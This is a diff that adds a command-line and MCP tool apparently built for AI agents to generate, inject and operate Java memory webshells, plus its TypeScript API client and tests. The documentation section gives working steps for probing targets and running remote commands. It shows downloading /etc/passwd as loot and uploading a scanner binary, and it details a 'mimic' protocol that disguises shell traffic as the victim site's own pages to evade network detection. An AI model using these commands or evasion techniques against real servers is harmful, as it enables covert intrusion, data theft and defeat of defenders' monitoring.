--req-param-name ` (Command also takes `--command-template`) |
+
+> `OS`, `BasicInfo` are enum values but **not usable** through any method — don't use them.
+
+```bash
+# Blind: does the target resolve our DNS? Which server is it?
+memparty probe -m DNSLog -c Server -p DefaultBase64 --host xxx.dnslog.cn
+
+# Time-based blind fingerprint (server responds after N seconds if it's --sleep-server)
+memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
+
+# OOB-visible: run a command and echo it into the HTTP response body
+memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name p
+```
+
+The detected server name from a probe is exactly the `server` value to use for `memparty gen`.
+
+## Step 3 — Generate
+
+```bash
+memparty gen -s -t -y -p [tool-specific flags] [--jdk ]
+```
+
+Common tool-specific flags:
+- Godzilla: `--godzilla-pass`, `--godzilla-key`
+- Behinder: `--behinder-pass`
+- AntSword: `--antsword-pass`
+- Command: `--command-param-name`, `--encryptor RAW|BASE64|DOUBLE_BASE64`, `--implementation-class RuntimeExec|ForkAndExec`, `--command-template`
+- All webshell tools: `--header-name` / `--header-value` (auth header the shell checks)
+- Custom: `--shell-class-file path.class` (or `--shell-class-base64`)
+- Injector: `--url-pattern /*`, `--injector-class-name`, `--no-static-initialize`
+
+Output:
+- payload → **stdout** by default.
+- `-o shell.class` / `-o shell.jar` → auto base64-decodes and writes binary.
+- `--json` → full response (class names, sizes, base64 bytes, config echo) for downstream tooling.
+
+## Step 4 — Verify the shell is alive
+
+Once a shell is injected/uploaded, `memparty connect` does the real protocol handshake and tells
+you whether it works (exit 0/1):
+
+```bash
+memparty connect -u -t godzilla --pass --key # defaults pass/key
+memparty connect -u -t behinder --pass # default rebeyond
+memparty connect -u -t suo5 # add --suo5-mode v2|v1 to force
+```
+
+MemShellParty shells check an auth header — take `headerName`/`headerValue` from the
+`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty
+response (the Suo5v2 shell checks it too):
+
+```bash
+memparty connect -u -t godzilla --pass pass --key key \
+ --header-name User-Agent --header-value
+```
+
+Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`,
+`headerName`/`headerValue`, `suo5Mode`).
+
+Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable
+`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`).
+
+## Step 5 — Execute commands on the shell
+
+Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and
+prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for
+`connect`:
+
+```bash
+memparty exec -u -t godzilla --pass pass --key key \
+ --header-name User-Agent --header-value \
+ --cmd "whoami"
+memparty exec -u -t behinder --pass rebeyond \
+ --header-name User-Agent --header-value \
+ --cmd "id"
+```
+
+- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick
+ `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection.
+- Behinder's `Cmd` payload detects the OS itself, so no flag is needed.
+- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents.
+
+Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`,
+`headerName`/`headerValue`).
+
+## Step 6 — Transfer files
+
+`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the
+real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for
+Behinder). Same credentials and gate header as `exec`:
+
+```bash
+memparty download -u -t godzilla --pass pass --key key \
+ --header-name User-Agent --header-value \
+ /etc/passwd -o loot/passwd
+memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
+```
+
+- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a
+ directory keeps the remote basename; no `-o` means `./`.
+- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed
+ upload warns that the remote file may be partial.
+- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory.
+- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the
+ server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese
+ Windows pass `--remote-charset GBK` (MCP: `remoteCharset`).
+- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` —
+ file bytes never travel over MCP/stdout.
+
+Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and
+`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local
+paths are on the machine running the MCP server.
+
+## Site-mimicking traffic (mimic protocol)
+
+`mimic` is a demo protocol that shapes shell traffic after the target site's own pages:
+requests are browser-style form POSTs; responses are real site pages with the ciphertext
+hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is
+selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 /
+base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI
+does not crawl.** That is the point: you can judge which page makes believable cover; a
+regex crawler cannot.
+
+### Workflow
+
+1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404
+ page). Note the page structure, `` style, link paths, Content-Type — and judge what
+ the site's **dominant traffic** looks like: a content site serves mostly HTML documents,
+ an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs.
+2. **Match the dominant traffic first.** Blending in is a statistics game: your requests
+ should be the same *shape* as what the site already serves all day. A content site
+ serves HTML documents; an SPA serves JSON XHR; an AI product streams SSE — mimic
+ covers all of them: HTML pages (marker injected) or **any text response with a
+ `{{payload}}` placeholder** (JSON envelope, XML, JS, SSE chunks…) served with its
+ own contentType (a `text/event-stream` skin is flushed chunk by chunk, not as a
+ one-shot body), and form, JSON, or **fully templated request bodies**.
+3. **Scaffold + hand-write the profile:**
+
+ ```bash
+ memparty profile init acme --site http://target:8080
+ ```
+
+ This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your
+ own file tools** — the CLI has no "fill" command; the content is your judgment, not a
+ command's output. Fill in:
+ - `templates`: **one or more** cover pages — the server rotates among them per response,
+ so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick
+ **high-traffic, self-contained** ones (the pages real users fetch all the time), and
+ paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point.
+ Each entry keeps its own `title` and `contentType`.
+ - With `--dynamic-path`, also probe what the site returns for a **random** path
+ (`curl -i /`): some consoles answer 200 with the login page for *every*
+ unknown path instead of a 404. Your templates should match that default response —
+ a 200 answer from the shell then mirrors the site's own behavior exactly.
+ - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic
+ hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` —
+ first-level dirs, same origin only. Used for `--dynamic-path`.
+ - `request` (optional but recommended): the request's form shape — **one object or an
+ array the client rotates among** (with optional `weight`). `secretField` is the field
+ that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form
+ field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on
+ a real form the site already receives** — e.g. a console login POST. Value placeholders:
+ `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds),
+ `{{int:A:B}}`. Never ship the default `pass=` single-field body — a lone
+ `pass=` parameter is a textbook webshell signature.
+ - `request.bodyTemplate` (optional, secretIn=body only): a **full request body** with
+ `{{payload}}` where the ciphertext goes — for traffic a flat form/JSON body can't
+ imitate: an OpenAI-style chat completion (`{"model":…,"messages":[{"role":"user",
+ "content":"{{payload}}"}]}`, pair with an SSE skin), a GraphQL envelope, an XML/SOAP
+ message, or a multipart/form-data upload (write the boundary literally in the
+ template — the Content-Type boundary is inferred from its first delimiter line, or
+ set it explicitly in `headers`). Decoy macros render per request. The filter
+ extracts the field from any raw body (JSON / multipart / XML anchors), so no
+ server-side change is needed per format.
+ - `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy
+ format `aes-ecb` + `base64` + `js-var` + no tail):
+ - `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext),
+ `"aes-cbc"` (random IV per message — same command encrypts differently every
+ time, the strongest default), `"xor"` (no JCE needed).
+ - `encoding`: `"base64"` | `"base64url"` | `"hex"`.
+ - `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after
+ the encoded ciphertext — Behinder's `aes_with_magic` trick against length
+ signatures. Costs nothing, turn it on.
+ - `marker`: `"js-var"` (`var Re_config="..."`) or
+ `"html-comment"` (``) — pick whichever looks more at
+ home in the cover page.
+ ⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the
+ profile afterwards desynchronizes client and server — rebuild + re-inject.
+4. **Use it:**
+
+ ```bash
+ memparty connect -u http://target/ -t mimic --pass --key \
+ --profile acme --dynamic-path
+ memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target
+ ```
+
+### Worked example
+
+Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML
+documents dominate; no SPA).
+
+1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer;
+ `/news/` is linked from the nav and returns a short self-contained list page; the nav
+ links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`.
+2. `memparty profile init acme --site http://192.0.2.1:8080`.
+3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display —
+ the real file must contain the page's FULL verbatim HTML):
+
+ ```json
+ {
+ "name": "acme",
+ "site": "http://192.0.2.1:8080",
+ "createdAt": "2026-07-19T08:00:00.000Z",
+ "templates": [
+ {
+ "title": "新闻动态 - ACME 科技",
+ "template": "\n\n...full verbatim HTML...",
+ "contentType": "text/html; charset=utf-8"
+ },
+ {
+ "title": "产品中心 - ACME 科技",
+ "template": "\n\n...another page...",
+ "contentType": "text/html; charset=utf-8"
+ }
+ ],
+ "paths": ["/products/", "/news/", "/about/"],
+ "request": {
+ "secretField": "verCode",
+ "fields": [
+ {"name": "csrftoken", "value": "{{hex:32}}"},
+ {"name": "j_username", "value": "admin"},
+ {"name": "j_password", "value": "{{hex:24}}"},
+ {"name": "agreement", "value": "on"}
+ ]
+ }
+ }
+ ```
+
+ Why these choices: `/news/` over the homepage — equally high-traffic but no carousel
+ JS/images, so no missing sub-request waterfall; two templates so consecutive responses
+ differ in length and bytes; `paths` are exactly the nav links real users click, not
+ guessed words; the `request` block mirrors the site's own login form, so the shell POST
+ is indistinguishable from someone signing in. (Templates shortened here for display —
+ the real file must contain each page's FULL verbatim HTML. A legacy single
+ `template`/`title`/`contentType` triple still loads, it just can't rotate.)
+4. Verify it parses, then connect:
+
+ ```bash
+ memparty profile show acme # schema check happens here too
+ memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \
+ --profile acme --dynamic-path
+ # OK mimic http://192.0.2.1:8080/
+ # round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab)
+ ```
+
+### What mimic handles vs. what you decide
+
+- Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell
+ derived response delimiters, form-body encoding, browser-consistent request headers,
+ credential round-trip on `connect`.
+- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type
+ memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a
+ fixed-URL shell just omit the flag.
+- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your
+ commands like a patient human.
+
+### Server side — `memparty custom build`
+
+The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled
+locally — one command does the whole chain:
+
+```bash
+memparty custom build --profile acme --server Tomcat
+```
+
+What happens inside:
+
+1. renders `MimicFilter.java` from the profile (templates, carrier fields, **the
+ `cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`);
+2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other
+ dependency);
+3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it
+ with the injector for `--server` (any server from `memparty config tools` — the filter
+ itself has zero middleware specifics) and packs it with `--packer`
+ (default `DefaultBase64`);
+4. writes an output dir (default `-build/`): the `.java`/`.class`, one
+ `payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth
+ for the follow-up (credentials, cipher, class names, ready-made connect command).
+
+Then: inject the payload through your foothold (deserialization RCE `defineClass`, an
+existing shell that evaluates scripts, an agent loader…), and connect with the printed
+command — a successful `connect` auto-saves the target, afterwards
+`memparty exec /mimic --cmd "id"` needs no flags.
+
+Notes that matter:
+
+- **Random class name every build** (`--out` keeps builds apart): a running JVM can't
+ re-define a class, so re-injection NEEDS the fresh name — never reuse one.
+- The printed `--pass/--key` are random per build unless you pin them; they're in
+ `manifest.json`, not in your shell history if you use `--json`.
+- The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the
+ body stream), passes undecryptable values through `chain.doFilter`, and answers errors
+ with the plain cover page — it coexists with the site's real forms and other shells.
+- Filter-type deployment truth learned on a real console: **dynamic path is conditional
+ on the target app's own filters** — probe a random path first, fall back to the fixed
+ working path when the app answers everything itself.
+
+### Reality check before relying on it
+
+Run `memparty demo` once and read the printed request URL and response: the traffic should
+be indistinguishable from a normal page view at a glance. Two ways it still stands out:
+
+- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser
+ would fetch, a NDR notices their absence — prefer self-contained pages.
+- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at
+ baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it.
+ That is why the dominant-traffic rule above outranks everything else.
+
+## Step 7 — Save targets, switch by name
+
+Flag soup gets old fast. Save each working shell into a **project** (a named group of shells
+with an optional remark and category), then reference it as `/`:
+
+```bash
+memparty save web1/bh9060 -u -t behinder --pass rebeyond \
+ --header-name User-Agent --header-value \
+ --remark "内网测试环境" --category test --shell-remark "root 权限"
+memparty list # everything, or --category test
+memparty exec web1/bh9060 --cmd "whoami" # no other flags needed
+memparty exec web1 --cmd "id" # bare project works when it holds one shell
+```
+
+MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`,
+`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note`
+(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass
+`name: "/"` to `connect_test` / `exec_command`.
+The store lives at `~/.memparty/targets.json`.
+
+## Step 8 — Audit with the operation log
+
+Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to
+`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output
+is truncated.
+Query it to recall what was done against a target:
+
+```bash
+memparty log --category exec --target web1
+```
+
+Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past
+actions before repeating them, or to answer "what did we run on this host?".
+
+## Gotchas
+
+- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2
+ → non-prefixed. Picking the wrong family = the shell won't load.
+- **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the
+ target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`.
+- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a
+ special injector class name — the CLI generates one automatically; don't override
+ `--injector-class-name` for these.
+- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves.
+- **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1).
+- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they
+ aren't class-byte payloads.
+- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but
+ don't trust payloads from public services in real engagements — self-host with Docker and use
+ `MEMPARTY_API_URL` or `--api`).
+
+## Reverse: parse a class name
+
+Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)?
+
+```bash
+memparty parse-classname --file shell.class
+memparty parse-classname
+```
diff --git a/tools/cli/src/api/client.test.ts b/tools/cli/src/api/client.test.ts
new file mode 100644
index 00000000..97961dd8
--- /dev/null
+++ b/tools/cli/src/api/client.test.ts
@@ -0,0 +1,77 @@
+import { describe, expect, it, vi } from "vitest";
+
+import { ApiError, MemPartyClient } from "./client.js";
+
+function jsonResponse(body: unknown, init: Partial<{ status: number; ok: boolean }> = {}): Response {
+ const status = init.status ?? 200;
+ return new Response(typeof body === "string" ? body : JSON.stringify(body), {
+ status,
+ headers: { "Content-Type": "application/json" },
+ });
+}
+
+describe("MemPartyClient", () => {
+ it("strips trailing slashes from the base URL and builds GET requests", async () => {
+ const fetchMock = vi.fn().mockResolvedValue(jsonResponse({ Tomcat: ["Listener"] }));
+ const client = new MemPartyClient({ baseUrl: "http://host:8080/", fetch: fetchMock });
+
+ const servers = await client.getServers();
+
+ expect(servers).toEqual({ Tomcat: ["Listener"] });
+ const [url, init] = fetchMock.mock.calls[0];
+ expect(url).toBe("http://host:8080/api/config/servers");
+ expect(init.method).toBe("GET");
+ });
+
+ it("POSTs JSON bodies with the right content type", async () => {
+ const fetchMock = vi.fn().mockResolvedValue(jsonResponse({ memShellResult: {}, packResult: "abc" }));
+ const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock });
+
+ await client.generateMemShell({
+ shellConfig: { server: "Tomcat", shellTool: "Godzilla", shellType: "Listener" },
+ shellToolConfig: {},
+ injectorConfig: {},
+ packer: "Base64",
+ });
+
+ const [url, init] = fetchMock.mock.calls[0];
+ expect(url).toBe("http://host/api/memshell/generate");
+ expect(init.method).toBe("POST");
+ expect(init.headers["Content-Type"]).toBe("application/json");
+ expect(JSON.parse(init.body).packer).toBe("Base64");
+ });
+
+ it("sends parseClassName as a raw text body and returns raw text", async () => {
+ const fetchMock = vi.fn().mockResolvedValue(new Response("com.example.Foo", { status: 200 }));
+ const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock });
+
+ const name = await client.parseClassName("QkFTRTY0");
+
+ expect(name).toBe("com.example.Foo");
+ const [url, init] = fetchMock.mock.calls[0];
+ expect(url).toBe("http://host/api/className");
+ expect(init.headers["Content-Type"]).toBe("text/plain");
+ expect(init.body).toBe("QkFTRTY0");
+ });
+
+ it("throws ApiError with the server-provided error message", async () => {
+ const fetchMock = vi.fn().mockResolvedValue(jsonResponse({ error: "bad server" }, { status: 400 }));
+ const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock });
+
+ await expect(client.getConfig()).rejects.toMatchObject({
+ name: "ApiError",
+ status: 400,
+ message: "bad server",
+ });
+ });
+
+ it("wraps network failures in ApiError with status 0", async () => {
+ const fetchMock = vi.fn().mockRejectedValue(new Error("ECONNREFUSED"));
+ const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock });
+
+ const err = await client.getServers().catch((e) => e);
+ expect(err).toBeInstanceOf(ApiError);
+ expect(err.status).toBe(0);
+ expect(err.message).toMatch(/ECONNREFUSED/);
+ });
+});
diff --git a/tools/cli/src/api/client.ts b/tools/cli/src/api/client.ts
new file mode 100644
index 00000000..db4e8c94
--- /dev/null
+++ b/tools/cli/src/api/client.ts
@@ -0,0 +1,170 @@
+import type {
+ ApiErrorResponse,
+ CommandConfigVO,
+ MainConfig,
+ MemShellGenerateRequest,
+ MemShellGenerateResponse,
+ PackerTree,
+ ProbeShellGenerateRequest,
+ ProbeShellGenerateResponse,
+ ServerConfig,
+ VersionInfo,
+} from "./types.js";
+
+export type FetchLike = typeof fetch;
+
+/** Error thrown when the API responds with a non-2xx status. */
+export class ApiError extends Error {
+ constructor(
+ message: string,
+ readonly status: number,
+ readonly url: string,
+ ) {
+ super(message);
+ this.name = "ApiError";
+ }
+}
+
+export interface MemPartyClientOptions {
+ /** Base URL of the MemShellParty backend, e.g. https://party.mem.mk */
+ baseUrl: string;
+ /** Injectable fetch implementation (defaults to global fetch). Useful for testing. */
+ fetch?: FetchLike;
+ /** Per-request timeout in milliseconds. Default 30000. */
+ timeoutMs?: number;
+}
+
+/**
+ * Typed client for the MemShellParty HTTP API.
+ * Knows nothing about the CLI or MCP — it is a pure transport layer so every
+ * entrypoint (flags, wizard, MCP) can share it.
+ */
+export class MemPartyClient {
+ private readonly baseUrl: string;
+ private readonly fetchImpl: FetchLike;
+ private readonly timeoutMs: number;
+
+ constructor(options: MemPartyClientOptions) {
+ this.baseUrl = options.baseUrl.replace(/\/+$/, "");
+ this.fetchImpl = options.fetch ?? globalThis.fetch;
+ this.timeoutMs = options.timeoutMs ?? 30_000;
+ if (typeof this.fetchImpl !== "function") {
+ throw new Error(
+ "No fetch implementation available. Use Node.js >= 18 or pass a custom fetch.",
+ );
+ }
+ }
+
+ // ---------- config ----------
+
+ getServers(): Promise {
+ return this.request("GET", "/api/config/servers");
+ }
+
+ getConfig(): Promise {
+ return this.request("GET", "/api/config");
+ }
+
+ getPackerTree(): Promise {
+ return this.request("GET", "/api/config/packers/tree");
+ }
+
+ getPackers(): Promise {
+ return this.request("GET", "/api/config/packers");
+ }
+
+ getCommandConfigs(): Promise {
+ return this.request("GET", "/api/config/command/configs");
+ }
+
+ getVersion(): Promise {
+ return this.request("GET", "/api/version");
+ }
+
+ // ---------- generation ----------
+
+ generateMemShell(req: MemShellGenerateRequest): Promise {
+ return this.request("POST", "/api/memshell/generate", {
+ json: req,
+ });
+ }
+
+ generateProbe(req: ProbeShellGenerateRequest): Promise {
+ return this.request("POST", "/api/probe/generate", {
+ json: req,
+ });
+ }
+
+ /** Parse a fully-qualified class name from a base64-encoded .class file. */
+ parseClassName(classBase64: string): Promise {
+ return this.request("POST", "/api/className", {
+ text: classBase64,
+ raw: true,
+ });
+ }
+
+ // ---------- transport ----------
+
+ private async request(
+ method: string,
+ path: string,
+ opts: { json?: unknown; text?: string; raw?: boolean } = {},
+ ): Promise {
+ const url = `${this.baseUrl}${path}`;
+ const headers: Record = {};
+ let body: string | undefined;
+
+ if (opts.json !== undefined) {
+ headers["Content-Type"] = "application/json";
+ body = JSON.stringify(opts.json);
+ } else if (opts.text !== undefined) {
+ headers["Content-Type"] = "text/plain";
+ body = opts.text;
+ }
+
+ const controller = new AbortController();
+ const timer = setTimeout(() => controller.abort(), this.timeoutMs);
+
+ let response: Response;
+ try {
+ response = await this.fetchImpl(url, {
+ method,
+ headers,
+ body,
+ signal: controller.signal,
+ });
+ } catch (err) {
+ if (err instanceof Error && err.name === "AbortError") {
+ throw new ApiError(`Request timed out after ${this.timeoutMs}ms`, 0, url);
+ }
+ throw new ApiError(
+ `Failed to reach ${url}: ${(err as Error).message}`,
+ 0,
+ url,
+ );
+ } finally {
+ clearTimeout(timer);
+ }
+
+ const rawText = await response.text();
+
+ if (!response.ok) {
+ let message = rawText || response.statusText;
+ try {
+ const parsed = JSON.parse(rawText) as ApiErrorResponse;
+ if (parsed?.error) message = parsed.error;
+ } catch {
+ // body was not JSON — keep raw text
+ }
+ throw new ApiError(message, response.status, url);
+ }
+
+ if (opts.raw) {
+ return rawText as unknown as T;
+ }
+ if (rawText === "") {
+ return undefined as unknown as T;
+ }
+ return JSON.parse(rawText) as T;
+ }
+}
diff --git a/tools/cli/src/api/index.ts b/tools/cli/src/api/index.ts
new file mode 100644
index 00000000..75bc98df
--- /dev/null
+++ b/tools/cli/src/api/index.ts
@@ -0,0 +1,3 @@
+export * from "./types.js";
+export { MemPartyClient, ApiError } from "./client.js";
+export type { FetchLike, MemPartyClientOptions } from "./client.js";
diff --git a/tools/cli/src/api/types.ts b/tools/cli/src/api/types.ts
new file mode 100644
index 00000000..ea2de03b
--- /dev/null
+++ b/tools/cli/src/api/types.ts
@@ -0,0 +1,144 @@
+/**
+ * Type definitions mirroring the MemShellParty backend DTOs.
+ * Source of truth: boot/src/main/java/com/reajason/javaweb/boot/{dto,vo,controller}
+ */
+
+// ---------- Shared request pieces ----------
+
+export interface ShellConfig {
+ server: string;
+ serverVersion?: string;
+ shellTool: string;
+ shellType: string;
+ /** Java class-file major version, e.g. 50 (Java6), 52 (Java8), 61 (Java17). */
+ targetJreVersion?: number;
+ debug?: boolean;
+ byPassJavaModule?: boolean;
+ shrink?: boolean;
+ lambdaSuffix?: boolean;
+ probe?: boolean;
+}
+
+export interface ShellToolConfig {
+ shellClassName?: string;
+ godzillaPass?: string;
+ godzillaKey?: string;
+ commandParamName?: string;
+ commandTemplate?: string;
+ behinderPass?: string;
+ antSwordPass?: string;
+ headerName?: string;
+ headerValue?: string;
+ shellClassBase64?: string;
+ encryptor?: string;
+ implementationClass?: string;
+}
+
+export interface InjectorConfig {
+ injectorClassName?: string;
+ urlPattern?: string;
+ staticInitialize?: boolean;
+}
+
+export interface MemShellGenerateRequest {
+ shellConfig: ShellConfig;
+ shellToolConfig: ShellToolConfig;
+ injectorConfig: InjectorConfig;
+ /** Packer name, e.g. "Base64", "Jar", "JSP". */
+ packer: string;
+}
+
+// ---------- Shared response pieces ----------
+
+export interface MemShellResult {
+ shellClassName: string;
+ shellSize: number;
+ shellBytesBase64Str: string;
+ injectorClassName: string;
+ injectorSize: number;
+ injectorBytesBase64Str: string;
+ shellConfig: ShellConfig;
+ shellToolConfig: ShellToolConfig;
+ injectorConfig: InjectorConfig;
+}
+
+export interface MemShellGenerateResponse {
+ memShellResult: MemShellResult;
+ packResult?: string;
+ allPackResults?: Record;
+}
+
+// ---------- Probe ----------
+
+export type ProbeMethod = "ResponseBody" | "DNSLog" | "Sleep";
+export type ProbeContent = "BasicInfo" | "Server" | "OS" | "JDK" | "Bytecode" | "Command";
+
+export interface ProbeConfig {
+ probeMethod: string;
+ probeContent: string;
+ shellClassName?: string;
+ targetJreVersion?: number;
+ debug?: boolean;
+ byPassJavaModule?: boolean;
+ shrink?: boolean;
+ staticInitialize?: boolean;
+ lambdaSuffix?: boolean;
+}
+
+export interface ProbeContentConfig {
+ host?: string;
+ seconds?: number;
+ sleepServer?: string;
+ server?: string;
+ reqParamName?: string;
+ commandTemplate?: string;
+}
+
+export interface ProbeShellGenerateRequest {
+ probeConfig: ProbeConfig;
+ probeContentConfig: ProbeContentConfig;
+ packer: string;
+}
+
+export interface ProbeShellResult {
+ shellClassName: string;
+ shellSize: number;
+ shellBytesBase64Str: string;
+ probeConfig: ProbeConfig;
+ probeContentConfig: ProbeContentConfig;
+}
+
+export interface ProbeShellGenerateResponse {
+ probeShellResult: ProbeShellResult;
+ packResult?: string;
+ allPackResults?: Record;
+}
+
+// ---------- Config endpoints ----------
+
+/** server name -> supported shell types */
+export type ServerConfig = Record;
+
+/** server name -> { shell tool -> supported shell types } */
+export type MainConfig = Record>;
+
+export interface PackerOption {
+ name: string;
+ children: string[];
+}
+export type PackerTree = PackerOption[];
+
+export interface CommandConfigVO {
+ encryptors: string[];
+ implementationClasses: string[];
+}
+
+export interface VersionInfo {
+ currentVersion: string;
+ latestVersion: string;
+ hasUpdate?: boolean;
+}
+
+export interface ApiErrorResponse {
+ error: string;
+}
diff --git a/tools/cli/src/cli-context.ts b/tools/cli/src/cli-context.ts
new file mode 100644
index 00000000..35eccdbd
--- /dev/null
+++ b/tools/cli/src/cli-context.ts
@@ -0,0 +1,33 @@
+import { MemPartyClient } from "./api/client.js";
+import { resolveApiUrl } from "./core/config.js";
+
+/** Global options attached to every command via commander. */
+export interface GlobalOptions {
+ api?: string;
+ timeout?: string;
+}
+
+export function createClient(opts: GlobalOptions): MemPartyClient {
+ const baseUrl = resolveApiUrl({ flag: opts.api });
+ const timeoutMs = opts.timeout ? Number(opts.timeout) : undefined;
+ return new MemPartyClient({ baseUrl, timeoutMs });
+}
+
+/** Write a message to stderr. */
+export function logError(msg: string): void {
+ process.stderr.write(`${msg}\n`);
+}
+
+/** Write an informational message to stderr (keeps stdout clean for payloads). */
+export function logInfo(msg: string): void {
+ process.stderr.write(`${msg}\n`);
+}
+
+/** Report a fatal error; as JSON when --json is in argv, so agents can parse it. */
+export function reportError(message: string, argv: string[]): void {
+ if (argv.includes("--json")) {
+ process.stdout.write(`${JSON.stringify({ ok: false, error: message })}\n`);
+ } else {
+ process.stderr.write(`Error: ${message}\n`);
+ }
+}
diff --git a/tools/cli/src/cli.test.ts b/tools/cli/src/cli.test.ts
new file mode 100644
index 00000000..5187aeaf
--- /dev/null
+++ b/tools/cli/src/cli.test.ts
@@ -0,0 +1,124 @@
+/**
+ * Subprocess smoke tests: run the built dist/cli.js the way an agent or a
+ * shell would, and assert on stdout / stderr / exit code. These cover the
+ * commander wiring layer that unit tests cannot see (option registration,
+ * help text, exitOverride, REPL, JSON error mode).
+ */
+import { execFileSync, spawnSync } from "node:child_process";
+import { existsSync, mkdtempSync, rmSync } from "node:fs";
+import { tmpdir } from "node:os";
+import { join } from "node:path";
+
+import { afterAll, beforeAll, describe, expect, it } from "vitest";
+
+const CLI = join(__dirname, "..", "dist", "cli.js");
+
+let storeDir: string;
+
+beforeAll(() => {
+ if (!existsSync(CLI)) {
+ execFileSync("npm", ["run", "build"], { cwd: join(__dirname, ".."), stdio: "inherit" });
+ }
+ storeDir = mkdtempSync(join(tmpdir(), "memparty-cli-test-"));
+});
+
+afterAll(() => {
+ rmSync(storeDir, { recursive: true, force: true });
+});
+
+interface RunResult {
+ status: number;
+ stdout: string;
+ stderr: string;
+}
+
+function run(args: string[], input?: string): RunResult {
+ const r = spawnSync(process.execPath, [CLI, ...args], {
+ input,
+ encoding: "utf8",
+ env: {
+ ...process.env,
+ MEMPARTY_TARGETS: join(storeDir, "targets.json"),
+ MEMPARTY_OPLOG: join(storeDir, "operations.jsonl"),
+ },
+ });
+ return { status: r.status ?? -1, stdout: r.stdout, stderr: r.stderr };
+}
+
+describe("cli subprocess", () => {
+ it("--help shows quick-start examples and exits 0", () => {
+ const r = run(["--help"]);
+ expect(r.status).toBe(0);
+ expect(r.stdout).toContain("Quick start:");
+ });
+
+ it("every documented subcommand help has examples", () => {
+ for (const cmd of ["gen", "probe", "config", "connect", "exec", "save", "log"]) {
+ const r = run([cmd, "--help"]);
+ expect(r.status).toBe(0);
